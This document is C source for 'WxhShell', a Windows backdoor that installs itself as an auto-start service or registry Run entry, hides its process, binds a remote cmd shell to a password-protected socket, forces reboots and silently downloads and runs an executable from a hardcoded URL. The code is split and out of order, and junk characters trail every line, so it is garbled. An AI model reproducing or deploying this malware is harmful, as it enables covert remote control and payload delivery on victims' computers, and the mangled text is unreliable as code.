    if(Boot(SHUTDOWN)) 1M3% fW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1r)kR@!LNG  
    else { + A_J1iJ<  
    closesocket(wsh); O{z}8&oR:  
    ExitThread(0); @R~5-m  
    } Rs& @4_D  
    break; @+,pN6}g  
    } L];y}]:F*  
  // 获取shell /nx'Z0&+X  
  case 's': { ^,Ydr~|T  
    CmdShell(wsh); M.}7pJ7f  
    closesocket(wsh); #b0{#^S:  
    ExitThread(0); 8t"~Om5sG  
    break; @MR?6n*k  
  } !hxIlVd{  
  // 退出 X*oMFQgP  
  case 'x': { *DI)?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v`q\6i[-  
    CloseIt(wsh); Ma-\^S=  
    break; $.St ej1  
    } eDO!^.<5  
  // 离开 eEc4bVQa  
  case 'q': { L}{`h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Xrw"\")j  
    closesocket(wsh); w*j$uW6{  
    WSACleanup(); >ndJNinV  
    exit(1); '8FC<=+p[  
    break; woH)0v  
        } =/Aj  
  } %T`U^ Pnr  
  } jMBiaX`F  
l?E a#  
  // 提示信息 SJ' % ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .] 4W!])9  
} /G{_7cb  
  } 3M*Bwt;F_  
7iC *Pr  
  return; +';>=hha  
} {43yb_B(  
kQdt}o])  
// shell模块句柄 DsDzkwJE  
int CmdShell(SOCKET sock) 0CvsvUN@  
{ V% TH7@y  
STARTUPINFO si; ;bu#8,  
ZeroMemory(&si,sizeof(si)); C}g9'jY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zwt;d5U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ihL/n  
PROCESS_INFORMATION ProcessInfo; r WtZj}A  
char cmdline[]="cmd"; beY=g7|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sywu=b  
  return 0; 6x{<e4<n  
} Zzua17  
\79X{mcd  
// 自身启动模式 *2 "6fX[  
int StartFromService(void) rk2xKm^w  
{ }|)R   
typedef struct 2 mjV~  
{ s)A<=)w/e  
  DWORD ExitStatus; % u{W7  
  DWORD PebBaseAddress; JD>d\z2QC  
  DWORD AffinityMask; [ Mg8/Oy  
  DWORD BasePriority; mbl]>JsQD  
  ULONG UniqueProcessId; y2HxP_s?P?  
  ULONG InheritedFromUniqueProcessId; =64r:E  
}   PROCESS_BASIC_INFORMATION; Ths_CKwgWY  
 /RZR}  
PROCNTQSIP NtQueryInformationProcess; fr6^nDY  
_Yb _D/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~0"p*?^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4] > ]-b  
`WEZ"5n  
  HANDLE             hProcess; *TW=/+j  
  PROCESS_BASIC_INFORMATION pbi; KP;(Q+qTx  
Huw\&E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }'"Gr%jf(  
  if(NULL == hInst ) return 0; 0x2!<z  
7"X>?@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  n]W_e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K?x,T8<aW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pV p:@0h  
`i~ Y Fr  
  if (!NtQueryInformationProcess) return 0; UUo;`rkT  
',7??Q7j&v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?VU(Pq*`  
  if(!hProcess) return 0; oj,lz?  
I&9S;I$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _&3<6$}i"  
|iFVh$N  
  CloseHandle(hProcess); ~`;rNnOT3  
Q\ ^[!|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UCrh/bTm  
if(hProcess==NULL) return 0; 3CjL\pIC  
FUK3)lT  
HMODULE hMod; WnFG{S{s  
char procName[255]; NIr@R7MKd  
unsigned long cbNeeded; k`HP "H  
bSwWszd~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S/vf'gj  
rtJl _0`  
  CloseHandle(hProcess); tqPx$s  
Nb2Qp K  
if(strstr(procName,"services")) return 1; // 以服务启动 9&%fq)gS  
V+-$ jOh  
  return 0; // 注册表启动 C8N{l:1f]  
} PALl sGlf  
C.:=lo B  
// 主模块 NBh%:tu7M  
int StartWxhshell(LPSTR lpCmdLine) u.pxz8  
{ Sx gYjIa-  
  SOCKET wsl; g_*T?;!.U  
BOOL val=TRUE; 8?t"C_>*e  
  int port=0; /NT[ETMk+  
  struct sockaddr_in door; @(``:)Z<b  
3XiO@jzre  
  if(wscfg.ws_autoins) Install(); =! Vf  
"yz iXT@V  
port=atoi(lpCmdLine); d &cU*  
SQsSa1  
if(port<=0) port=wscfg.ws_port; %,@vWmn  
R`Aj|C z  
  WSADATA data; wCs3:@UH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7z6 b@$,  
\ A1uhHP!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fHrt+_Zn|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YIt9M,5/Q  
  door.sin_family = AF_INET; M x5`yT7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %HQ.|  
  door.sin_port = htons(port); FFhtj(hVgc  
1 "TVRb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =6FUNvP#8  
closesocket(wsl); z><5R|Gf  
return 1; o{v&.z  
} +1C3`0(  
wyx(FinIH  
  if(listen(wsl,2) == INVALID_SOCKET) { $VG*q  
closesocket(wsl); <[aDo%,A  
return 1; qpoV]#iW  
} %x; x_  
  Wxhshell(wsl); =M6[URZ  
  WSACleanup(); r#PMy$7L  
_eSd nHWx  
return 0; LVIAF0kX  
q:>^ "P{  
} |as!Ui/J/  
S&O3HC  
// 以NT服务方式启动 p]D]: Z}P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Op.8a`XLt&  
{ S-+"@>{HJ  
DWORD   status = 0; s6*ilq1  
  DWORD   specificError = 0xfffffff; .%EL\2  
Rx07trfN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =*BIB5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; { kSf{>Ia  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rjt8fN  
  serviceStatus.dwWin32ExitCode     = 0; qM4c]YIaSl  
  serviceStatus.dwServiceSpecificExitCode = 0; S|V4[ssB  
  serviceStatus.dwCheckPoint       = 0; [./6At&|  
  serviceStatus.dwWaitHint       = 0; }/dRU${!  
ubsSa}$q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #BVtL :x@  
  if (hServiceStatusHandle==0) return; $aCd/&  
3H\w2V  
status = GetLastError(); 3FSqd<t;D  
  if (status!=NO_ERROR) g3n'aD@'x  
{ Mk<Vydds  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lLq<xf  
    serviceStatus.dwCheckPoint       = 0; .%BT,$1K  
    serviceStatus.dwWaitHint       = 0; Mk 0+D#  
    serviceStatus.dwWin32ExitCode     = status; 8eIUsI.o  
    serviceStatus.dwServiceSpecificExitCode = specificError; +'@+x'/{^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <^.=>Q0 S\  
    return; a/Q$cOs  
  } qL$a c}`  
?,P3)&3g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /StTb,  
  serviceStatus.dwCheckPoint       = 0; 5FVndMM#y  
  serviceStatus.dwWaitHint       = 0; :%&Q-kk4!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M6 9 w-  
} vD/NgRBww  
nL@KX>  
// 处理NT服务事件,比如:启动、停止 M4LP$N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NvE}eA#  
{ UEs7''6RM  
switch(fdwControl) %t=kdc0=_  
{ . JX EK  
case SERVICE_CONTROL_STOP: l5%G'1w#,j  
  serviceStatus.dwWin32ExitCode = 0; $w)~O<_U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TlL^7f}  
  serviceStatus.dwCheckPoint   = 0; 'AGto'Yy;  
  serviceStatus.dwWaitHint     = 0; bUV >^d  
  { 75nNh~?)\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v`J*ixZ7t  
  } J2q,7wI#  
  return; 4!Z5og1kn  
case SERVICE_CONTROL_PAUSE: m`#Od^vk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vzzE-(\\e  
  break; RpG+>"1]  
case SERVICE_CONTROL_CONTINUE: mOpTzg@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +;BAV  
  break; exh/CK4;  
case SERVICE_CONTROL_INTERROGATE: |Z\R*b"  
  break; N- e$^pST  
}; wHZW `  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Q&3L~K"  
} I +5)Jau^S  
)M=ioE8`h  
// 标准应用程序主函数 a)Q!'$"'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |yyO q  
{ %+ 7p lM  
@J{m@ji{  
// 获取操作系统版本 AWjJ{#W>9  
OsIsNt=GetOsVer(); ' K@|3R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g 6]epp[8  
eAUcv`[#p  
  // 从命令行安装 ?7:KphFX)  
  if(strpbrk(lpCmdLine,"iI")) Install(); mS>xGtD&K  
-aRU]kIf  
  // 下载执行文件 :.(;<b<\  
if(wscfg.ws_downexe) { uZa9zs=} c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YzosZ! L!<  
  WinExec(wscfg.ws_filenam,SW_HIDE); dpQG[vXe  
} { pu85'DV  
ERwHLA  
if(!OsIsNt) { V^y^ ;0I}[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ')a(.f  
HideProc(); s,bERN7'yO  
StartWxhshell(lpCmdLine); T +5X0 Nv  
} `k(yZtb  
else s &Dg8$  
  if(StartFromService()) W{z.?$ SH  
  // 以服务方式启动 G 6VF>2  
  StartServiceCtrlDispatcher(DispatchTable); &<zd.~N"  
else qQ\Y/}F  
  // 普通方式启动 %6 Q4yk  
  StartWxhshell(lpCmdLine); 3X9b2RY*L/  
b[z]CP  
return 0; jVLA CWH  
} 2._X|~0a  
JvYPC  
!8 &=y  
T5urZq*R  
=========================================== +% /s*EC'w  
0CSv10Tg  
Iff9'TE  
Z\[N!Zt|  
C]^H&  
80A.<=(=.  
" [dtbkQt,c  
=to=8H-  
#include <stdio.h> !=;XBd-  
#include <string.h> aA7=q=  
#include <windows.h> R.7:3h  
#include <winsock2.h> [m^+,%m5]  
#include <winsvc.h> Cg*H.f%Mr  
#include <urlmon.h> y@CHR  
B?VhIP e  
#pragma comment (lib, "Ws2_32.lib") <2C7<7{7  
#pragma comment (lib, "urlmon.lib") .CP& bJP%  
m*e{\)rd#  
#define MAX_USER   100 // 最大客户端连接数 tx?dIy;  
#define BUF_SOCK   200 // sock buffer CctJFcEZ  
#define KEY_BUFF   255 // 输入 buffer kw2T>  
&A#~)i5gF  
#define REBOOT     0   // 重启 rD>*j~_+P  
#define SHUTDOWN   1   // 关机 >#ZUfm{k$  
^ 9!!;)  
#define DEF_PORT   5000 // 监听端口 ;lYHQQd!,  
P`r55@af4  
#define REG_LEN     16   // 注册表键长度 d[rv1s>i  
#define SVC_LEN     80   // NT服务名长度 a>\vUv*  
Ym;*Y !~[  
// 从dll定义API cqxVAzb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UH7jP#W%=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Spt ? >sm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y8flrM2CwG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J>d.dq>r  
O-)-YVU  
// wxhshell配置信息 " R xP^l  
struct WSCFG { 0!v ->Dk  
  int ws_port;         // 监听端口 !3T&4t  
  char ws_passstr[REG_LEN]; // 口令 fM^[7;]7e  
  int ws_autoins;       // 安装标记, 1=yes 0=no #^+DL]*l  
  char ws_regname[REG_LEN]; // 注册表键名 "RIZV  
  char ws_svcname[REG_LEN]; // 服务名 fNGZo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HR}bbsqxVf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z"unF9`"1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g^zs,4pPU<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fhB}9i^]tg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0p89: I*0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UA|u U5Q  
1}~(Yj@f%  
}; 4Qn$9D+?  
K98i[,rP  
// default Wxhshell configuration 4&l10fR5  
struct WSCFG wscfg={DEF_PORT, !A48TgAeE  
    "xuhuanlingzhe", ]qhPd_$?D'  
    1, ~/j\Z  
    "Wxhshell", 7gRgOzWfV  
    "Wxhshell", #Fyuf,hw4  
            "WxhShell Service", LdJYE;k Ju  
    "Wrsky Windows CmdShell Service", ! VjFW5'{  
    "Please Input Your Password: ", 6;b~Ht  
  1, ]l8^KX'  
  "http://www.wrsky.com/wxhshell.exe", W456!OHa  
  "Wxhshell.exe" |JCU<_<  
    }; (XoH,K?{z  
+>JjvYx}\  
// 消息定义模块 m.,U:>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I!^O)4QRx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mw9 \EhA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V')0 Mr  
char *msg_ws_ext="\n\rExit."; $ImrOf^qt  
char *msg_ws_end="\n\rQuit."; Y`?-VaY  
char *msg_ws_boot="\n\rReboot..."; Agrk|wPK  
char *msg_ws_poff="\n\rShutdown..."; \6\<~UX^  
char *msg_ws_down="\n\rSave to "; Bj7gQ%>H4  
irjP>3_e  
char *msg_ws_err="\n\rErr!"; m#=z7.XrX  
char *msg_ws_ok="\n\rOK!"; $ `7^+8vHV  
_YRE (YZ/  
char ExeFile[MAX_PATH]; 43=,yz2Ef  
int nUser = 0; ,a#EW+" Z  
HANDLE handles[MAX_USER]; !>:?rSg*  
int OsIsNt; tJN<PCG6"  
K(aJi,e>  
SERVICE_STATUS       serviceStatus; L@fY$Rw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q|@4bzi)  
fDLG>rXPT  
// 函数声明 =FD;~  
int Install(void); B5$kHM%p  
int Uninstall(void); itMg|%B%  
int DownloadFile(char *sURL, SOCKET wsh); D_Bb?o5  
int Boot(int flag); g:EVhuK  
void HideProc(void); 1@$Ko5  
int GetOsVer(void); fDSv?crv  
int Wxhshell(SOCKET wsl); 0]4(:(B  
void TalkWithClient(void *cs); bJD;>"*  
int CmdShell(SOCKET sock); ge8/``=  
int StartFromService(void); 63A}TBC  
int StartWxhshell(LPSTR lpCmdLine); }u1O#L}F5  
Vx-7\NB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =G]@+e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dih3}X&jn$  
{AQ=<RDRF  
// 数据结构和表定义 33}oO,}t,  
SERVICE_TABLE_ENTRY DispatchTable[] = U,LTVYrO  
{ A<y nIs<  
{wscfg.ws_svcname, NTServiceMain}, g&{9VK6.  
{NULL, NULL} =z8f]/k*>  
}; i7ly[6{^pr  
VH:]@x//{  
// 自我安装 Od|$Y+@6  
int Install(void) p'om-  
{ mml z&h  
  char svExeFile[MAX_PATH]; .aflsUD  
  HKEY key; yxc=Z0~1  
  strcpy(svExeFile,ExeFile); V(E/'DR  
ccL~#c0P7  
// 如果是win9x系统,修改注册表设为自启动 3'X.}>o   
if(!OsIsNt) { (P`3 @H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +U@<\kIF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4!wR_@W^El  
  RegCloseKey(key); MuSUKBhM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M %Qt|@O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  E6WA}_  
  RegCloseKey(key); x|vqNZ\F  
  return 0; >+[&3u  
    } 2;?I>~  
  } )YqXRm  
} T' ~!9Q  
else { )l#E}Uz  
/:FOPPs  
// 如果是NT以上系统,安装为系统服务 .c$316  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }-@`9(o`)  
if (schSCManager!=0) OD_W8!-  
{ _l1NKk  
  SC_HANDLE schService = CreateService `ta7Gc/:UY  
  ( *Aa?yg:=  
  schSCManager, !3ctB3eJ  
  wscfg.ws_svcname, Exk\8,EGqS  
  wscfg.ws_svcdisp, $r3i2N-I  
  SERVICE_ALL_ACCESS, F_4n^@M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  ^k\e8F/  
  SERVICE_AUTO_START, LupkrxV  
  SERVICE_ERROR_NORMAL, :Q@&5!]>d  
  svExeFile, +k>.Q0n%m  
  NULL, 5v6Ei i:  
  NULL, &ZQJ>#~j^  
  NULL, ~ _!F01s  
  NULL, L/z),#  
  NULL p"U, G -_  
  ); yR\btx|e5~  
  if (schService!=0) zi3\63D3eO  
  { Kx%Sku<F'  
  CloseServiceHandle(schService); 2j&AiD  
  CloseServiceHandle(schSCManager); cSm%s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B9J&=6`)  
  strcat(svExeFile,wscfg.ws_svcname); ;"m ,:5%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xp}Yw"7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )=etG  
  RegCloseKey(key); 6w@ Ii;  
  return 0; Y(d$  
    } $ O5UyKI  
  } )<Hd T  
  CloseServiceHandle(schSCManager); ::/j$bL  
} 9U%N@Dq`Z  
} 0MdDXG-7  
YGsWu7dG  
return 1; d09k5$=gJ  
} cx0*X*  
BGu?<bET  
// 自我卸载 a 7,C>%I  
int Uninstall(void) AoI/n4T^  
{ xoR;=ph  
  HKEY key; bv*,#Qm  
aVd,xl  
if(!OsIsNt) { :]1 TGfS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2Roc|)-47  
  RegDeleteValue(key,wscfg.ws_regname); Kp,M"Y  
  RegCloseKey(key); -Zz$~$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w4d--[Q  
  RegDeleteValue(key,wscfg.ws_regname); [2{1b`e  
  RegCloseKey(key); W!&vul5  
  return 0; qC?:*CXH  
  } b 'pOJS  
} J>bJ 449B  
} UCClWr  
else { Z LD}a:s  
>:|q&|x-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <|Pun8j  
if (schSCManager!=0) ez6EjUk  
{ r'*}TM'8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I=NZokfS  
  if (schService!=0) xcf%KXJf6  
  { oGRhnP'PF+  
  if(DeleteService(schService)!=0) { `WH"%V:"Q  
  CloseServiceHandle(schService); #*(t d<Cp  
  CloseServiceHandle(schSCManager); 5EebPXBzB  
  return 0; $+I;oHWI  
  } $"H{4 x`-  
  CloseServiceHandle(schService); E0?iXSJ  
  } ])!o5`ltZ  
  CloseServiceHandle(schSCManager); a0ObBe'  
} ;{" +g)u  
} 81i655!Z  
L# 2+z@g  
return 1; 7fba-7-P  
} w2'f/  
 pn5Q5xc  
// 从指定url下载文件 C-H@8p?T  
int DownloadFile(char *sURL, SOCKET wsh) `u&Zrdr,  
{ gjAIEI  
  HRESULT hr; ixT:)|'i  
char seps[]= "/"; )}?#  
char *token; A?pbWt ~}  
char *file; g #6E|n  
char myURL[MAX_PATH]; fk x \=  
char myFILE[MAX_PATH]; a,WICv0E  
L');!/:  
strcpy(myURL,sURL); :d#VE-e  
  token=strtok(myURL,seps); jyZWV L:_  
  while(token!=NULL) 9AJ7h9L  
  { XnWr5-;  
    file=token; N/K.%<h  
  token=strtok(NULL,seps); 9B7^lR  
  } SV~~Q_U9  
PJL=$gBgKk  
GetCurrentDirectory(MAX_PATH,myFILE); Rw:*'1  
strcat(myFILE, "\\"); HEM9E&rL  
strcat(myFILE, file); ssN6M./6  
  send(wsh,myFILE,strlen(myFILE),0); ktpaU,%  
send(wsh,"...",3,0); 6 'Worj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E }nH1  
  if(hr==S_OK) ^*Yh@4\{JH  
return 0; ^kB8F"X  
else $H9%J  
return 1; J:zU,IIJ  
PIwFF}<(  
} Y*vW!yu  
f__cn^1  
// 系统电源模块  O2%?  
int Boot(int flag) :1bWVM)  
{ DRi<6Ob  
  HANDLE hToken; `,(,t n_  
  TOKEN_PRIVILEGES tkp; ZGKu>yM  
uW} s)j.  
  if(OsIsNt) { !*%WuyCgr4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ZP\-T*)l$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /VN f{p  
    tkp.PrivilegeCount = 1; ]33>m|?@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?}U(3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "\o+v|;  
if(flag==REBOOT) { -RvQB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /q`xCS  
  return 0; M 4?ig}kh  
} W)f/0QX}W  
else { @3C>BLI8+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m4l& eEp  
  return 0; WL?\5?G 9l  
} rcC<Zat,|  
  } 2vWx)Drb6  
  else { .Lsavpo  
if(flag==REBOOT) { }%_ b$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \}"$ ?d'f  
  return 0; 9|gr0&#~j  
} 2h1vVF3  
else { t_$2CRG#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wg<(ms dj  
  return 0; h_+dT  
} s)6U_  
} Xy$3VU*  
+>{Y.`a;Jo  
return 1; pw)||Q  
} a@UZb  
,l:ORoND  
// win9x进程隐藏模块 t7j);W%e6  
void HideProc(void) +oovx2r&  
{ ~^r29'3  
=06gj)8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UVd7 JGR  
  if ( hKernel != NULL ) U<_3^  
  { =pS5uR~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fj;y}t1E]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n O\"HLM  
    FreeLibrary(hKernel); 0dGAP  
  } @ W[f1  
?7.7`1m !v  
return; eOs)_?}  
} H?&Mbw d  
3 I@}my1  
// 获取操作系统版本 {pnS  Q  
int GetOsVer(void) 3@M|m<_R$  
{ { + Zd*)M[  
  OSVERSIONINFO winfo; Pa V@aM~3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `\#B18eU  
  GetVersionEx(&winfo); `OXpU,Z 6U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B1>/5hV}  
  return 1; 8TLgNQP  
  else 0Tx{3#  
  return 0; CzRc%%BA  
} hog=ut  
8o'_`{ba  
// 客户端句柄模块 :+z4~% jA  
int Wxhshell(SOCKET wsl) "AnC?c9?-^  
{ uj R_"r|l  
  SOCKET wsh; JNt^ (z  
  struct sockaddr_in client; r0+6evU2  
  DWORD myID; 6/r)y+H  
+#lM  
  while(nUser<MAX_USER) ^h ~x)@=  
{ `lO[x.[  
  int nSize=sizeof(client); kT"Kyd  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +'I+o5*  
  if(wsh==INVALID_SOCKET) return 1; 3L_\`Ia9  
GzI yP(U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *KV0%)}sbL  
if(handles[nUser]==0) s/q7.y7n{  
  closesocket(wsh); iS WU'K  
else R3;Tk^5A  
  nUser++;  CohDO  
  } 1DE<rKI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2.l Z:VLN  
^Eb.:}!D6  
  return 0; $o0 iLFIX/  
} J;{N72  
]|zp0d=&o  
// 关闭 socket QxVq^H  
void CloseIt(SOCKET wsh) G MX?  
{ $c:ynjL|P-  
closesocket(wsh); Vzdh8)Mu\  
nUser--; #Ssx!+q?  
ExitThread(0); mpuq 9)6  
} YaKeq5%y  
TgmnG/Z  
// 客户端请求句柄 ;CmS ~K:  
void TalkWithClient(void *cs) Y2ZT.l  
{ F`Q[6"<a  
uW@oyZUj  
  SOCKET wsh=(SOCKET)cs; zQ@I}K t  
  char pwd[SVC_LEN]; m'6&9Ja k  
  char cmd[KEY_BUFF]; T92UeG  
char chr[1]; X(]WVCu  
int i,j; _wkVwPr  
|)b6>.^  
  while (nUser < MAX_USER) { H%UL%l$  
zr+zhpp  
if(wscfg.ws_passstr) { LcB]Xdsa(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5_I->-<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;#xmQi'`  
  //ZeroMemory(pwd,KEY_BUFF); 0=* 8  
      i=0; Ma.`A  
  while(i<SVC_LEN) { [E!oQVY  
aE&,]'6  
  // 设置超时 m#PY,y  
  fd_set FdRead; Y^8C)p9r  
  struct timeval TimeOut; K?B{rE Lp  
  FD_ZERO(&FdRead); b\vKJ2  
  FD_SET(wsh,&FdRead); )vjh~ybZ  
  TimeOut.tv_sec=8; ;V*R*R  
  TimeOut.tv_usec=0; }XV+gyG=@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #(#Wv?r6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4e~A1-  
#A1Z'y0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Y<|;0v  
  pwd=chr[0]; u frW\X  
  if(chr[0]==0xd || chr[0]==0xa) { i'H/ZwU  
  pwd=0; n>+mL"hs  
  break; ryW'Z{+r'  
  } Hv sob  
  i++; &]e'KdXF  
    } s2'yY(u/  
q>$ev)W  
  // 如果是非法用户,关闭 socket DnCP aM4%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -8:&>~4`  
} -+ SF  
Bg5Wba%NK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xO^:_8=&:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =vQcYa  
HJXT9;w  
while(1) { !UG 7Uer  
4 N H  
  ZeroMemory(cmd,KEY_BUFF); A+SE91m  
Sp@^XmX(S  
      // 自动支持客户端 telnet标准   <tF9V Jq  
  j=0; a`&f  
  while(j<KEY_BUFF) { { /K.3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WN{ 9  
  cmd[j]=chr[0]; cik!GA  
  if(chr[0]==0xa || chr[0]==0xd) { "!Uqcay-  
  cmd[j]=0; x(hE3S#+  
  break; YQ+tDZY8`  
  } #E? (vA1  
  j++; Mr;E<Lj ^K  
    } VL% UR{  
~$iIVJ`  
  // 下载文件 P3cRl']  
  if(strstr(cmd,"http://")) { M=1nQF2J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4 Y ;Nm1 @  
  if(DownloadFile(cmd,wsh)) Mn9dqq~a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "uuVy$6C  
  else so"$m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C~nzH,5  
  } ),UX4%K=  
  else { U*( izD  
&u /Nf&A  
